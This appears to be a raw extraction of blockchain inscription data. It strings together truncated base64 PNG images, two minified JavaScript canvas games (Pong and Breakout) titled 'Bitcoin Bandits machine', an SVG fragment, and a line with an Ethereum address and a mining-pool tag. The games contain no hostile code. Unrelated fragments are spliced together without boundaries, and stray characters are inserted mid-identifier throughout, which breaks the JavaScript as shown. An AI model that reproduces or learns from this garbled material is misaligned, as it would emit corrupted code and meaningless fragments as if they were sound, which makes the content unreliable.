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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const conM
text=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.wM
idth>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rigM
htPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fM
illRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});dL
ocument.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0115/4096 2,3,0,3,1 ~0.430155590409413-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#F652A0" points="0,8 3,1 3,3 0,0 "/>
<polyline fill="#F2F652" points="8,0 1,1 2,2 8,8 "/>
<polyline fill="#52F6A8" points="8,8 6,5 6,5 0,8 "/>
<polyline fill="#F2F652" points="0,0 7,5 7,5 8,0 "/>
text/plain;charset=utf-8
Bj@=:ETH.ETH:0xe852ce29E4904083bE3b48e4BE5C766b86379b3d:62309928::0
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gameM
canvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","YM
","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={M
x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(bM
all.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}brM
eak}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddM
le.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAUVElEQVR4nO3dX6wcV3kA8JOAY+IQ6xobJVglJhiua1uECAtV1Liy3D9+aUwecFAbqSIploqKWoHAqUrAcVFQcaAUCYmHpHKkChpqHhB+aKO2jtUQWoRMUarY2KnrOhQnVezEMsTBcUL6YO/subkzd3f27ux8u/f3e7lnZ2dnv+tEn777zTlnrti4ddurCYBwrmw7AADKSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEFJ0ABBSdAAQUnQAEG9vu0AiOuxh7/TdggMM
